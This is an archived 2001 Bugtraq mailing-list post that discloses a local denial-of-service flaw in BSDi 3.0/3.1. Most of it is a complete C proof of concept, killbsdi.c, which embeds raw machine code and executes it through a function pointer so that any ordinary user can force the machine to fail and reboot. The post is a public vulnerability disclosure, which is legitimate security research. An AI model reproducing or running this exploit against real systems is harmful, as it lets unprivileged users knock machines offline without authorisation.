Bugtraq mailing list archives

BSDi (3.0/3.1) reboot machine code as any user (non-specific)


From: <v9 () realhalo org>
Date: 21 Aug 2001 01:23:33 -0000

this is something from a little while back.  thought i 
might as well post it for some sort of use, generally a 
pretty minimal problem.  has similar effects to the old 
f00f bug.  except this reboots the machine, instead of 
having a freezing effect.

original source:
http://realhalo.org/killbsdi.c

-- killbsdi.c start --

/* (BSDi)*[v3.0/3.1] system failure, by
   v9[v9 () realhalo org].  this will result
   in the ability of any user to fail the
   system, and reboot it.  this bug is
   similar to that of the "f00f" bug.
   results are similar, except this reboots
   the machine instead of having a freezing
   effect.  tested, and built for: BSDi
   v3.0/3.1. (arch/non-specific to BSDi)
*/
char bsdi_killcode[] =
 "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
 "\xb0\x9a\x50\x89\xe7\xff\xd7";
int main() {
 void (*execcode)()=(void *)bsdi_killcode;
 printf("[ (BSDi)*[v3.0/3.1]: system failu"
 "re, by: v9[v9 () realhalo org]. ]\n");
 printf("*** no output should be seen afte"
 "r this point.\n");
 execcode();
 printf("*** system failure failed.\n");
 exit(0);
}

-- killbsdi.c end --

Vade79 -- v9 () realhalo org -- realhalo.org.


Current thread: